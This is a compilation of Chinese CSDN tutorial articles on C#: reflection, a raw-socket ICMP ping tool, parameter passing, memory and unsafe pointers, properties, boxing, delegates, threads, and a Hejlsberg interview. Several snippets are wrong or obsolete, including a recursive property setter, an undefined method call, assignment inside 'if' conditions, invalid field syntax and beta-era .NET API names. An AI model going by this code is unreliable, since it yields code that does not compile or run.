/// a constructor, a sample method, and sample accessor methods.
/// </summary>
public class Reflect
{
// private member variables
private int intTest;
private string strTest;

// constructor
public Reflect(int intData)
{
// constructor logic
intTest = intData;
}

// basic method
public int AMethod(int intData)
{
return intData*intData;
}

public string S
{
get
{
// return member var
return strTest;
}
set
{
// set member var
S = value;
}
}
}
}

正如你所看到的那样，这个类包含一个构造器，一个例子方法，一个例子存取方法（得到和设置）。在System.Reflaction 名字空间核心是一个名为type的类。这个type类型包含许多方法和到许多类信息的一种登录入口。Type类参考可以靠typeof或者GetType的方法得到。下表列举了一些类类型的方法，包括示例GetTypeof 和typeof方法的代码段。
Name
Description

GetFields()
Returns an array of FieldInfo objects describing the fields in the class.

GetMethods()
Returns an array of MethodInfo objects describing the methods of the class.

GetConstructors()
Returns all the constructors for an object.

GetInterfaces()
Gets all interfacs implemented by the type.

GetMembers()
Gets all the members (fields, methods, events, etc.) of the current type.

InvokeMember()
Invokes a member of the current type.

BaseType
Gets a Type object for the type's immediate base type.

IsAbstract
Returns true if the type is abstract.

IsClass
Returns true if the type is a class.

IsEnum
Returns true if the type is an enum.

IsNestedPublic
Returns true if a type is nested within another and is public.

Namespace
Retrieves the namespace of the type.

namespace CSharpReflectionSamples
{
using System;
using System.Reflection;

/// <summary>
/// Summary description for Client.
/// </summary>
public class Client
{
public static void Main()
{
// the typeof operator and the GetType method
// both return a 'Type' object.
Type type1 = typeof(Reflect);
Reflect objTest = new Reflect(0);
Type type2 = objTest.GetType();

Console.WriteLine("Type of objTest is {0}", type2);

}
}
}


csdn_.net的reflection (2)

  .net的reflection (2)
飞鹰编译
一旦得到类对象，上表中所列的方法就能被叫来调用reflaction.第一个例子将检查在CSharpReflectionSamples.Reflect类中的得到方法的信息。第一块代码用来定义类中的每个方法的名字，第二块代码将阐述得到方法信息。向下面所展示的，我们将用一个数组来保存用GetMethod()方法返回的方法信息。MethodInfo类包含信息为方法的名字，不管是否是虚拟的，它都是可见的，等等。

namespace CSharpReflectionSamples
{
using System;
using System.Reflection;

/// <summary>
/// Summary description for Client.
/// </summary>
public class Client
{
public static void Main()
{
// the typeof operator and the GetType method
// both return a 'Type' object.
Type type1 = typeof(Reflect);
Reflect objTest = new Reflect(0);
Type type2 = objTest.GetType();

Console.WriteLine("Type of objTest is {0}", type2);
Console.WriteLine();
// pause
Console.ReadLine();

// reflect method information
MethodInfo[] minfo = type1.GetMethods();
// iterate through methods
foreach (MethodInfo m in minfo)
{
Console.WriteLine(m);
}
Console.WriteLine();
}
}
}

下一个例子将展示动态得到对象有可能接触的每个构造器的信息。类似与上面的例子，我们将返回一个包含每个构造器的信息ConstructorInfo对象。

namespace CSharpReflectionSamples
{
using System;
using System.Reflection;

/// <summary>
/// Summary description for Client.
/// </summary>
public class Client
{
public static void Main()
{
// the typeof operator and the GetType method
// both return a 'Type' object.
Type type1 = typeof(Reflect);
Reflect objTest = new Reflect(0);
Type type2 = objTest.GetType();

Console.WriteLine("Type of objTest is {0}", type2);
Console.WriteLine();
// pause
Console.ReadLine();

// reflect constructors
ConstructorInfo[] cinfo = type1.GetConstructors();
// iterate through constructors
foreach (ConstructorInfo c in cinfo)
{
Console.WriteLine(c);
}
}
}
}

最后一部分，也许是reflection名字空间中最激动人心的部分，是在运行时动态调用类方法。有两种方法，首先，我们将建立一个数组来存储参数，这些参数被构造器用来建造对象。第二，一个System.Object对象将对抗CreateInstance方法的对象。以得到想得到对象的例子。最后，当我们有了对象的资料，我们能够调用任何使用MethodParm数组的方法。下面是代码：

namespace CSharpReflectionSamples
{
using System;
using System.Reflection;

/// <summary>
/// Summary description for Client.
/// </summary>
public class Client
{
public static void Main()
{
// the typeof operator and the GetType method
// both return a 'Type' object.
Type type1 = typeof(Reflect);
Reflect objTest = new Reflect(0);
Type type2 = objTest.GetType();

// dynamic creation and invocation
// instantiate the Reflect object, passing
// a value of 1 to the constructor
object[] oConstructParms = new object[] {1};
object obj = Activator.CreateInstance(type1, oConstructParms);
// invoke method of reflect object
object[] oMethodParms = new object[] {17};
int intResult = (int)type1.InvokeMember("AMethod", BindingFlags.Default |
BindingFlags.InvokeMethod, null, obj, oMethodParms);
Console.WriteLine("Result of calling AMethod on {0} is {1}",
type1.Name, intResult);
// pause
Console.ReadLine();
}
}
}

这篇文章阐述了.net Reflaction的基础，在下一部分，我将和大家讨论进一步的话题，比如，动态发布中间语言，旗帜绑定，和中间语言原则。


csdn_编写自己的PING工具

  编写自己的PING工具
PING 是一个用来检测网络连接速度的工具，它会在本机和给出的远程主机名之间建立一个SOCKET 连接并向其发送一个ICMP协议格式的数据包，然后远程主机作出响应，发回一个数据包，通过计算发送到接收数据包的时间间隔，我们可以确定连接的速度。

使用方法 ping <hostname> [/r]
<hostname> 主机名
[/r] 可选属性，决定是否连续的 ping 远程主机。

下面是代码：
///ping.cs
namespace SaurabhPing
{
using System;
using System.Net;
using System.Net.Sockets;
/// <summary>
/// 主要的类:ping
/// </summary>
class Ping
{
//声明几个常量
const int SOCKET_ERROR = -1;
const int ICMP_ECHO = 8;
/// <summary>
/// 这里取得Hostname参数
/// </summary>
public static void Main(string[] argv)
{
if(argv.Length==0)
{
//If user did not enter any Parameter inform him
Console.WriteLine("Usage:Ping <hostname> /r") ;
Console.WriteLine("<hostname> The name of the Host who you want to ping");
Console.WriteLine("/r Ping the host continuously") ;
}
else if(argv.Length==1)
{
//Just the hostname provided by the user
//call the method "PingHost" and pass the HostName as a parameter
PingHost(argv[0]) ;
}
else if(argv.Length==2)
{
//the user provided the hostname and the switch
if(argv[1]=="/r")
{
//loop the ping program
while(true)
{
//call the method "PingHost" and pass the HostName as a parameter
PingHost(argv[0]) ;
}
}
else
{
//if the user provided some other switch
PingHost(argv[0]) ;
}
}
else
{
//Some error occurred
Console.WriteLine("Error in Arguments") ;
}
}

/// <summary>
/// 主要的方法，用来取得IP，
/// 并计算响应时间
/// </summary>
public static void PingHost(string host)
{
//Declare the IPHostEntry
IPHostEntry serverHE, fromHE;
int nBytes = 0;
int dwStart = 0, dwStop = 0;
//Initilize a Socket of the Type ICMP
Socket socket =
new Socket(AddressFamily.AfINet, SocketType.SockRaw, ProtocolType.ProtICMP);

// Get the server endpoint
try
{
serverHE = DNS.GetHostByName(host);
}
catch(Exception)
{
Console.WriteLine("Host not found"); // fail
return ;
}

// Convert the server IP_EndPoint to an EndPoint
IPEndPoint ipepServer = new IPEndPoint(serverHE.AddressList[0], 0);
EndPoint epServer = (ipepServer);

// Set the receiving endpoint to the client machine
fromHE = DNS.GetHostByName(DNS.GetHostName());
IPEndPoint ipEndPointFrom = new IPEndPoint(fromHE.AddressList[0], 0);
EndPoint EndPointFrom = (ipEndPointFrom);

int PacketSize = 0;
IcmpPacket packet = new IcmpPacket();
// Construct the packet to send
packet.Type = ICMP_ECHO; //8
packet.SubCode = 0;
packet.CheckSum = UInt16.Parse("0");
packet.Identifier = UInt16.Parse("45");
packet.SequenceNumber = UInt16.Parse("0");
int PingData = 32; // sizeof(IcmpPacket) - 8;
packet.Data = new Byte[PingData];
//Initilize the Packet.Data
for (int i = 0; i < PingData; i++)
{
packet.Data[i] = (byte)'#';
}

//Variable to hold the total Packet size
PacketSize = PingData + 8;
Byte [] icmp_pkt_buffer = new Byte[ PacketSize ];
Int32 Index = 0;
//Call a Method Serialize which counts
//The total number of Bytes in the Packet
Index = Serialize(
packet,
icmp_pkt_buffer,
PacketSize,
PingData );
//Error in Packet Size
if( Index == -1 )
{
Console.WriteLine("Error in Making Packet");
return ;
}

// now get this critter into a UInt16 array

//Get the Half size of the Packet
Double double_length = Convert.ToDouble(Index);
Double dtemp = Math.Ceil( double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
//Create a Byte Array
UInt16 [] cksum_buffer = new UInt16[cksum_buffer_length];
//Code to initialize the Uint16 array
int icmp_header_buffer_index = 0;
for( int i = 0; i < cksum_buffer_length; i++ ) {
cksum_buffer[i] =
BitConverter.ToUInt16(icmp_pkt_buffer,icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
//Call a method which will return a checksum
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
//Save the checksum to the Packet
packet.CheckSum = u_cksum;

// Now that we have the checksum, serialize the packet again
Byte [] sendbuf = new Byte[ PacketSize ];
//again check the packet size
Index = Serialize(
packet,
sendbuf,
PacketSize,
PingData );
//if there is a error report it
if( Index == -1 )
{
Console.WriteLine("Error in Making Packet");
return ;
}

dwStart = System.Environment.TickCount; // Start timing
//send the Pack over the socket
if ((nBytes = socket.SendTo(sendbuf, PacketSize, 0, epServer)) == SOCKET_ERROR)
{
Console.WriteLine("Socket Error cannot Send Packet");
}
// Initialize the buffers. The receive buffer is the size of the
// ICMP header plus the IP header (20 bytes)
Byte [] ReceiveBuffer = new Byte[256];
nBytes = 0;
//Receive the bytes
bool recd =false ;
int timeout=0 ;

//loop for checking the time of the server responding
while(!recd)
{
nBytes = socket.ReceiveFrom(ReceiveBuffer, 256, 0, ref EndPointFrom);
if (nBytes == SOCKET_ERROR)
{
Console.WriteLine("Host not Responding") ;
recd=true ;
break;
}
else if(nBytes>0)
{
dwStop = System.Environment.TickCount - dwStart; // stop timing
Console.WriteLine("Reply from "+epServer.ToString()+" in "
+dwStop+"MS :Bytes Received"+nBytes);
recd=true;
break;
}
timeout=System.Environment.TickCount - dwStart;
if(timeout>1000)
{
Console.WriteLine("Time Out") ;
recd=true;
}
}

//close the socket
socket.Close();
}
/// <summary>
/// This method get the Packet and calculates the total size
/// of the Pack by converting it to byte array
/// </summary>
public static Int32 Serialize(IcmpPacket packet, Byte[] Buffer,
Int32 PacketSize, Int32 PingData )
{
Int32 cbReturn = 0;
// serialize the struct into the array
int Index=0;

Byte [] b_type = new Byte[1];
b_type[0] = (packet.Type);

Byte [] b_code = new Byte[1];
b_code[0] = (packet.SubCode);

Byte [] b_cksum = BitConverter.GetBytes(packet.CheckSum);
Byte [] b_id = BitConverter.GetBytes(packet.Identifier);
Byte [] b_seq = BitConverter.GetBytes(packet.SequenceNumber);

// Console.WriteLine("Serialize type ");
Array.Copy( b_type, 0, Buffer, Index, b_type.Length );
Index += b_type.Length;

// Console.WriteLine("Serialize code ");
Array.Copy( b_code, 0, Buffer, Index, b_code.Length );
Index += b_code.Length;

// Console.WriteLine("Serialize cksum ");
Array.Copy( b_cksum, 0, Buffer, Index, b_cksum.Length );
Index += b_cksum.Length;

// Console.WriteLine("Serialize id ");
Array.Copy( b_id, 0, Buffer, Index, b_id.Length );
Index += b_id.Length;

Array.Copy( b_seq, 0, Buffer, Index, b_seq.Length );
Index += b_seq.Length;

// copy the data
Array.Copy( packet.Data, 0, Buffer, Index, PingData );
Index += PingData;
if( Index != PacketSize/* sizeof(IcmpPacket) */) {
cbReturn = -1;
return cbReturn;
}

cbReturn = Index;
return cbReturn;
}
/// <summary>
/// This Method has the algorithm to make a checksum
/// </summary>
public static UInt16 checksum( UInt16[] buffer, int size )
{
Int32 cksum = 0;
int counter;
counter = 0;

while ( size > 0 ) {
UInt16 val = buffer[counter];

cksum += Convert.ToInt32( buffer[counter] );
counter += 1;
size -= 1;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
} // class ping
/// <summary>
/// Class that holds the Pack information
/// </summary>
public class IcmpPacket
{
public Byte Type; // type of message
public Byte SubCode; // type of sub code
public UInt16 CheckSum; // ones complement checksum of struct
public UInt16 Identifier; // identifier
public UInt16 SequenceNumber; // sequence number
public Byte [] Data;

} // class IcmpPacket
}


csdn_C#重点知识详解（一）

  C#重点知识详解（一）
作者： wkrain
前言

在微软的.NET推出后，关于C#的有关文章也相继出现，作为微软的重要的与JAVA抗衡的语言，C#具有很多优点。本文将选一些C#语言中的重要知识详细介绍，

第一章：参数

1。1 IN 参数

c#种的四种参数形式：
一般参数
in参数
out参数
参数数列
本章将介绍后三种的使用。

在C语言你可以通传递地址（即实参）或是DELPHI语言中通过VAR指示符传递地址参数来进行数据排序等操作，在C#语言中，是如何做的呢？"in"关键字可以帮助你。这个关键字可以通过参数传递你想返回的值。
namespace TestRefP
{
using System;
public class myClass
{

public static void RefTest(ref int iVal1 )
{
iVal1 += 2;

}
public static void Main()
{
int i=3; //变量需要初始化

RefTest(ref i );
Console.WriteLine(i);

}
}
}

必须注意的是变量要须先初始化。

结果：

5

1。2 OUT 参数

你是否想一次返回多个值?在C++语言中这项任务基本上是不可能完成的任务。在c#中"out"关键字可以帮助你轻松完成。这个关键字可以通过参数一次返回多个值。
public class mathClass
{
public static int TestOut(out int iVal1, out int iVal2)
{
iVal1 = 10;
iVal2 = 20;
return 0;
}

public static void Main()
{
int i, j; // 变量不需要初始化。
Console.WriteLine(TestOut(out i, out j));
Console.WriteLine(i);
Console.WriteLine(j);
}
}

结果：

0 10 20

1。3 参数数列

参数数列能够使多个相关的参数被单个数列代表，换就话说，参数数列就是变量的长度。

using System;

class Test
{
static void F(params int[] args) {
Console.WriteLine("# 参数: {0}", args.Length);
for (int i = 0; i < args.Length; i++)
Console.WriteLine("\targs[{0}] = {1}", i, args[i]);
}

static void Main() {
F();
F(1);
F(1, 2);
F(1, 2, 3);
F(new int[] {1, 2, 3, 4});
}
}

以下为输出结果：

# 参数: 0
# 参数: 1
args[0] = 1
# 参数: 2
args[0] = 1
args[1] = 2
# 参数: 3
args[0] = 1
args[1] = 2
args[2] = 3
# 参数: 4
args[0] = 1
args[1] = 2
args[2] = 3
args[3]


csdn_C#重点知识详解（二）

  C#重点知识详解（二）
作者： wkrain
第二章 内存管理

c#内存管理提供了与java一样的自动内存管理功能,让程序员从繁重的内存管理中摆脱出来，内存管理提高了代码的质量和提高了开发效率。

c#限制了着指针的使用，免除了程序员对内存泄漏的烦恼，但是不是意味着向java程序员一样c#程序员在也不能使用指针代来的好处。微软在设计C#语言时考虑到这个问题，在一方面抛弃指针的同时，另一方面采用折衷的办法，通过一个标志来时程序引入指针。

首先我们来了解自动内存管理

public class Stack
{
private Node first = null;

public bool Empty {
get {
return (first == null);
}
}

public object Pop() {
if (first == null)
throw new Exception("Can't Pop from an empty Stack.");
else {
object temp = first.Value;
first = first.Next;
return temp;
}
}

public void Push(object o) {
first = new Node(o, first);
}

class Node
{
public Node Next;

public object Value;

public Node(object value): this(value, null) {}

public Node(object value, Node next) {
Next = next;
Value = value;
}
}
}

程序创建了一个stack类来实现一个链，使用一个push方法创建Node节点实例和一个当不再需要Node节点时的收集器。一个节点实例不能被任何代码访问时，就被收集。例如当一个点元素被移出栈，相关的Node就被收集。

The example

class Test
{
static void Main() {
Stack s = new Stack();

for (int i = 0; i < 10; i++)
s.Push(i);

s = null;
}
}

关于指针的引用，c#中使用unsafe标志来代表队指针的引用。以下程序演示了指针的用法，不过由于使用指针，内存管理就不得不手工完成。

using System;

class Test
{
unsafe static void Locations(byte[] ar) {
fixed (byte *p = ar) {
byte *p_elem = p;
for (int i = 0; i < ar.Length; i++) {
byte value = *p_elem;
string addr = int.Format((int) p_elem, "X");
Console.WriteLine("arr[{0}] at 0x{1} is {2}", i, addr, value);
p_elem++;
}
}
}

static void Main() {
byte[] arr = new byte[] {1, 2, 3, 4, 5};
WriteLocations(ar);
}
}


csdn_c#重点知识详解（三）

  c#重点知识详解（三）
作者： wkrain
第三章： 类属性
使用过RAD开发工具的一定inspector很熟悉，程序员通过它可以操作对象的属性，DELPHI中引入了PUBLISH关键字来公布对象属性受到程序员的普遍欢迎.通过存取标志来访问private成员，在c#中有两种途径揭示类的命名属性——通过域成员或者通过属性。前者是作为具有公共访问性的成员变量而被实现的；后者并不直接回应存储位置，只是通过存取标志(accessors)被访问。当你想读出或写入属性的值时，存取标志限定了被实现的语句。用于读出属性的值的存取标志记为关键字get，而要修改属性的值的读写符标志记为set。

类属性

只能读 get
只能写 set
可读可写 set/get

请看例子：

using System;

public class Test
{
private int m_nWrite;
private int readonly m_nRead=100;
private int m_nWriteRead;

public int WRITEREAD
{
get {return m_nWriteRead;}
set {m_nWriteRead=value;}
}

public int WRITE
{
set { m_nWrite = value; }
}

public int READ
{
get {return m_nRead;}
}

}

class TestApp
{
public static void Main()
{
Test MyTest = new Test();
int i=MyTest.READ; //get
MyTest.WRITE=250; //set
MyTest.WRITEREAD+=10000000 ; //set and get

Console.WriteLine("get:{0} set:{1} set/get:{2} ",i,MyTest.WRITE,MyTest.WRITEREAD);
}
}

如果你想要隐藏类内部存储结构的细节时，就应该采用存取标志。存取标志给值参数中的属性传递新值。同时你可以获得实现在set标志中增加有效代码的机会。


csdn_c#语言重点知识详解（四：加框与解框）

  c#语言重点知识详解（四：加框与解框）
作者： wkrain
第四章：C# 中的加框与去框

C# 运行时中有两种类型：引用类型（reference)（在 C# 中用类声明)和值类型(value)（在 C# 中用结构声明）。引用和值类型在几个重要方面有所不同。值类型“感觉上”象一个数据。它包括预定义数值类型（如int、bool）以及用户定义的类型（circle、Point等）。如上文所述，值类型的变量是实际的值，所以在您使用变量时，通常处理的是实际的值。

1>:首先，让我们来看一看值类型(value)（在 C# 中用结构声明）。

对于任何类型的非框机构都又如下的形。
//-------------------------------------
struct T_Point
{
T x,y;
T_Point(T x,y) {
this.x=x;
this.y=y
}
}
//-------------------------------------

sample:

class test{
struct Point
{
public int x, y;
public Point(int x, int y) {
this.x = x;
this.y = y;
}
}

public static void Main()
{
Point p = new Point(10, 10);
object f = p;
p.x = 20;
Console.Write(((Point)f).x);
Console.Write(p.x);
}
}

让我么来看一看最后的结果是什么？结果是10,20.在第二次指定变量后，两个独立的变量包含相同的值。
修改 p 的值不会改变 f 的值.

2>:引用类型用于所有不能用作值类型的对象。引用类型的变量指向堆中对象的实例。这意味着在将一个变量指定
给另一个变量时，只是指定了引用，而不是值。

对于任何类型的框类都又如下的形。
//------------------------------------------------------
class T_Point
{
T x,y;
T_Point(T x,y) {
this.x=x;
this.y=y
}
}
//--------------------------------------------------------
class test{
class Point
{
public int x, y;
public Point(int x, int y) {
this.x = x;
this.y = y;
}
}

public static void Main()
{
Point p = new Point(10, 10);
object f = p;
p.x = 20;
Console.Write(((Point)f).x);
Console.Write(p.x);
}
}

让我么来看一看最后的结果是什么？很奇怪吗，结果是20,20.在第二次指定变量后，p 和 f 指向同一对象。这意味着修改 p 的名称也将改变 f 的名称，因为它们引用同一实例。修改类值的成员称为“变更者”，而不具有任何变更者的类称为不可变类。不可变类的存在可以使类的行为类似于值类，但不能写入为值类。

在c#语言中同时使用引用和值两种类型是很重要的。值类型轻便高效，而引用类型适用于面向对象的开发。但是，尽管我们有两了种类型，但有时我们需要的是更为简单的模型，使用单一的、能够囊括所有可能值的类型。这样一个通用基类能够调用任何值的虚函数。写入能够存储任何值的集合类。为实现这一目的，c#语言运行时采用一种方法让值类型在需要时转化为引用类型，即通过称为加框的进程。被加框的类型是通用基类，可以被各种类型的对象引用。

解框

int i = 123;
object k = i;// 将 int i 加框到对象 k 中
int j=(int)k; // 解框 k 到 value2

当赋值给 k 时，作为赋值的一部分，C# 编译器将创建足够容纳堆中 int 的引用类型包装，将值复制到该加框，然后将加框标记为实际类型，以便运行时了解加框的类型。要从加框中取值，必须使用强制类型装换来指定加框的类型（对象能够保留任何类型）。在执行过程中，运行时将检查对象变量引用的类型是否为强制类型转换
中指定的类型。如果类型正确，值将从加框中复制回值类型变量。如果类型不正确，将导致异常。请注意解除加框过程中不会进行其他转换；类型必须完全匹配。

请注意以下代码：

long i = 123;
object k = i;// 将 long i 加框到对象 k 中
ulong j=(ulong)k;

#error

由于加框类型于解框类型的不同将出错。如果认为像c++语言一样下面的操作将正确那也是不对的。

long i = 123;
object k = i;
int j=(int)k;

#error

最后总结一下加框和解框。加框和解框使编写和使用具有通用对象参数的函数变得简单而直接。


csdn_c#重点知识解答（五 代理：一）

  c#重点知识解答（五 代理：一）
作者： wkrain
第五章：代理
代理实现的是象c++等语言的指针功能，不同于函数指针，代理是一种面向对象、安全类型的。代理事派生于公共基类（system）的一种参考类型，方法被压入一个代理中，对于实例方法被称为实例的组成实体或关于实例的方法，而静态方法，被称为类的组成实体或类方法。代理的强大功能是它可以自动的匹配方法，而不管其类型。

写一个代理包括三个步骤：

写代理、实例化、调用。

代理的声明使用以下语法：
delegate void SimpleDelegate();

实例化一个代理
class Test
{
static void F() {
System.Console.WriteLine("hello world");
}
static void Main() {
SimpleDelegate d = new SimpleDelegate(F);//将方法压入
d();//通过代理；
F();//不通过代理；
}
}

最后让我们调用她

void MultiCall(SimpleDelegate d, int count) {
for (int i = 0; i < count; i++)
d();
}
}

我们可以看到对于方法的调用是通过代理来完成的，调用时并不需要知道被调用她的类型。代理在我看来好比是对象要一件事她不直接地调用这个方法，而是通过一个中间人去调用她。

下面就代理的强大功能进行详细介绍：首先然我们实现一个这样的功能，考虑一下该如何用指向基类的对象调用子类的成员函数。在这里程序员是不是点怀恋指针了，不过在c#中这样的功能完全也可实现的，使用一个单独的代理我们可以完成这项功能。以下代码来自Timothy A. Vanover文章。

namespace DelegatesCS
{
using System;

public class Wisdom //包含代理的类
{
public delegate string GiveAdvice();
public string OfferAdvice(GiveAdvice Words)
{
return Words();
}
}
public class Parent //基类
{
public virtual string Advice()
{
return("Listen to reason");
}
~Parent() {}
}
public class Dad: Parent //子类
{
public Dad() {}
public override string Advice()
{
return("Listen to your Mom");
}
~Dad() {}
}
public class Mom: Parent //子类
{
public Mom() {}
public override string Advice()
{
return("Listen to your Dad");
}
~Mom() {}
}
public class Daughter //不继承与基类的类
{
public Daughter() {}
public string Advice()
{
return("I know all there is to life");
}
~Daughter() {}
}

public class Test
{
public static string CallAdvice(Parent p)//使用基类
{
Wisdom parents = new Wisdom();
Wisdom.GiveAdvice TeenageGirls = new Wisdom.GiveAdvice(p.Advice);//将Advice方法委托给TeenageGirls委托对象
return(parents.OfferAdvice(TeenageGirls));
}

public static void Main()
{
Dad d = new Dad();
Mom m = new Mom();
Daughter g = new Daughter();
//以下两个为衍于基类的类
Console.WriteLine(CallAdvice(d));
Console.WriteLine(CallAdvice(m));
//以下为未衍于基类的类，如果调用将出错。
//Console.WriteLine(CallAdvice(g));
}
}
}


csdn_c#重点知识解答（五 代理：二 ）

  c#重点知识解答（五 代理：二 ）
作者： wkrain
代理 二
1〉事件

上一章讲解了有关代理的基本应用，本章将继续讲解深入代理的使用。这里我们讲解使用代理来处理事件。关于事件在另一章进行详细讲解。处理事件在c#中对比c++和vb来说更聪明，你可以写代理然后写事件处理者，事件处理者是一种定义在控件和窗体类中的重载的公共事件。我们在以下的例子中将看到代理在事件中的应用。

1。写代理
我想处理鼠标单击事件和在鼠标单击左键或右键处理一些代码。写下面的代码在你的初始控件函数中。

this.MouseDown += new System.WinForms.MouseEventHandler(this.Form_MouseDown);

2. 写事件
现在你可以写事件处理，你的事件的输出参数将返回窗体的鼠标事件参数的详细内容。以下时鼠标事件参数成员

MouseEventArgs members

Button 指示哪一个键被压，分为左、右、中、无 。
Clicks 指示鼠标压下次数及释放状态。
Delta 指示鼠标转动数量计数
X 鼠标点击x坐标点
Y 鼠标点击y坐标点

Event Handler

private void Form_MouseDown(object sender, System.WinForms.MouseEventArgs e)
{
switch (e.Button)
{
case MouseButtons.Left:
MessageBox.Show(this,"Left Button Click");
break;
case MouseButtons.Right:
MessageBox.Show(this,"Right Button Click" );
break;
case MouseButtons.Middle:
break;
default:
break;
}

}

在你的WinForm中测试你的程序，你会看到通过代理事件被关联了。

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
class I
{
public I(){}
~I() {}
public void IDoLoveYou()
{System.Console.WriteLine("I do love You");}

public void why(){System.Console.WriteLine("why?");}
}

class HER
{
public HER(){}
~HER() {}
public void IDo()
{System.Console.WriteLine("...............");}
public void slient(){System.Console.WriteLine(".........");}
}

class TELEPHONE
{public delegate void heartchat();
public TELEPHONE(){}
~TELEPHONE(){}
public void hello(){System.Console.WriteLine("yesterday night,i telephone to my girlfriend"); }

}

class chat{
static void Main() {
I i=new I();
HER her=new HER();
TELEPHONE telephone =new TELEPHONE();
telephone.hello();

TELEPHONE.heartchat tell=new TELEPHONE.heartchat(i.IDoLoveYou);
tell();

TELEPHONE.heartchat answer=new TELEPHONE.heartchat(her.IDo);
answer();

TELEPHONE.heartchat ask=new TELEPHONE.heartchat(i.why);
ask();

TELEPHONE.heartchat noanswer=new TELEPHONE.heartchat(her.slient);
noanswer();

}
}


csdn_c#重点知识详解（六：线程）

  c#重点知识详解（六：线程）
作者： wkrain
如同java一样，在c#中写一个多线程应用是非常简单的，本章将介绍如何在c#种开发多线程程序。在.net中线程是由System.Threading 名字空间所定义的。所以你必须包含这个名字空间。
using System.Threading;

开始一个线程

System.Threading 名字空间的线程类描述了一个线程对象，通过使用类对象，你可以创建、删除、停止及恢复一个线程。创建一个新线程通过new 操作，并可以通过start()方法启动线程

thread = new Thread(new ThreadStart(HelloWorld));
thread.Start();

注意：和java程序不同，创建新线程并调用start()方法后并不去调用run()方法，而是传递线程调用程序

下面是启动线程执行的函数

protected void HelloWorld()
{
string str ;
Console.write("helloworld");
}
}

杀死一个线程

线程类的 Abort()方法可以永久的杀死一个线程。在杀死一个线程起前应该判断线程是否在生存期间。

if ( thread.IsAlive )
{
thread.Abort();
}

停止一个线程

Thread.Sleep 方法能够在一个固定周期类停止一个线程

thread.Sleep();

设定线程优先级

线程类中的ThreadPriority 属性是用来设定一个ThreadPriority的优先级别。线程优先级别包括Normal, AboveNormal, BelowNormal, Highest, and Lowest几种。

thread.Priority = ThreadPriority.Highest;

挂起一个线程

调用线程类的Suspend()方法将挂起一个线程直到使用Resume()方法唤起她。在挂起一个线程起前应该判断线程是否在活动期间。

if (thread.ThreadState = ThreadState.Running )
{
thread.Suspend();
}

唤起一个线程

通过使用Resume()方法可以唤起一个被挂起线程。在挂起一个线程起前应该判断线程是否在挂起期间，如果
线程未被挂起则方法不起作用。

if (thread.ThreadState = ThreadState.Suspended )
{
thread.Resume();
}


csdn_走近 C#

  走近 C#

在CNET News.com对微软公司最杰出的软件设计师 Hejlsberg的采访过程中，双方就C#的起源、Web服务的未来等问题进行了探讨。

当微软公司需要一项新技术来确保在软件业的统治地位时，它需要Anders Hejlsberg的帮助。

对于成千上万的使用Borland Turbo Pascal和 Delphi进行编程的软件开发者来说，Anders Hejlsberg，这位40岁的软件大师让他们肃然起敬，是他创制了上述两个备受欢迎的软件开发工具。

现在微软公司希望通过它最新的产品－C#软件开发语言－来赢得软件开发者的拥戴，在微软公司把视窗操作系统和软件向网络迁移的新市场战略中，C#语言是最重要的环节。

经过几年时间的埋头苦干，C#已成为微软公司反击Java语言的最有力武器。六年前，微软公司的老对手Sun公司推出了Java语言，并获得了Oracle和IBM公司的全力支持。

目前各大软件公司都争先恐后地把各自的应用程序移植为面向手持设备和个人电脑的互联网服务，因此微软公司希望软件公司会采用C#语言来编写各自的基于Web的软件和服务。同样，微软公司也希望商家能采用.Net家族的电子商务软件来运行Web服务。是的，微软公司希望用C#来打倒Java。

但就目前来说，C#还处于劣势，毕竟Java已经历了6年的风风雨雨，而C#还处于孕育时期。C#的正式版本最早也要等到年底才能投放市场。

市场分析人员认为微软公司希望利用C#来阻止原来的C++开发人员投向Java阵营。举例来说，C#摹仿了Java提供的多种特性，包括“碎片回收机制”（garbage collection）、可以利用多种类型的语言进行开发的“通用引擎”等等。

在CNET News.com对 Hejlsberg的采访过程中，双方就C#的起源、Web服务的未来等问题进行了探讨。Hejlsberg也就C#相对于Java的优点做了特别的说明。

问：创造C#的原因是什么？它是C++语言的升级吗，是否可以说C#是用来对抗Java的武器？
答：C#是立足于以往的基础上进行开发的，应该说它混合了以往开发语言的精华，但C#不会是终结其它开发语言的终极语言。这是个进化的世界，C#只是面向市场的需求应运而生的。

在C#语言的几个设计目标中，确保编程人员的高效生产率是最重要的一点。我们在设计C#的时候，就从大家熟悉的C++开始并对该语言进行了简化。我们希望把C++具备的强大和灵活、VB具备的简单易用同时赋予C#语言。C++确实需要升级了，但我们力求在增加更多的新特性－比如“碎片收集机制”－的同时，尽可能少地对它进行更动。

问：那么C#主要面向哪些开发人员？C++、Java还是Visual Basic？
答：C#语言传承自C和C++，它和Java一样，属于同一个语言体系。因此C#主要面向C和C++开发人员。

问：在与Java的竞争中，你认为C#将会表现出色吗？
答：你需要注意到，Java的推出领先于.Net平台整整五年的时间。而我们的.Net正式产品还没有投放市场。本公司也不会依靠现有的测试版C#进行市场竞争。但本公司认为C#测试版的表现符合预期水准。

问：说服开发人员弃Java而用C#的理由会有哪些？
答：当谈到Java，大多数人是在谈开发语言，但Java有时也被当作系统运行平台。本公司的C#就是纯粹的开发语言，而.Net可以说是它的运行平台。

我可以说C#与C++靠的更近。Java传承自C++，但当你观察它的模块，就会发现有些东西被省略了。而C#则保留了更多C++的特性。

C#语言首次引进了部件导向特性、方法以及事件。例如当你点击鼠标，就可以声明一个称为“点击”事件。而同样在Java语言中，开发人员就不得不进行特性和事件的模拟。尽管通过一个称为“Java Bean”的部件模块，开发人员也可以做同样的事，但这要比在C#开发环境中困难的多。

此外互用性也是C#的重要特性之一。Java一向以平台无关性作为卖点，但我们认为对已有的软件代码做出支持才是最重要的。C#可以提供出色的代码互用能力（例如已有的C++代码），且不需要开发者增加兼容性代码。

此外，Java和C#之间还有一点明显不同之处。当两三年前微软公司着手C#的开发，就注意到了如何让C#更适应新生的互联网应用世界的需求，而Java是在后来才补充了Web服务。

问：每个大软件厂商都在提出自己的Web服务版本。比如用户可以通过手机来进行互动商务活动，但这些许诺大都是空头支票，你认为何时互联网服务才会真正的蓬勃发展起来？
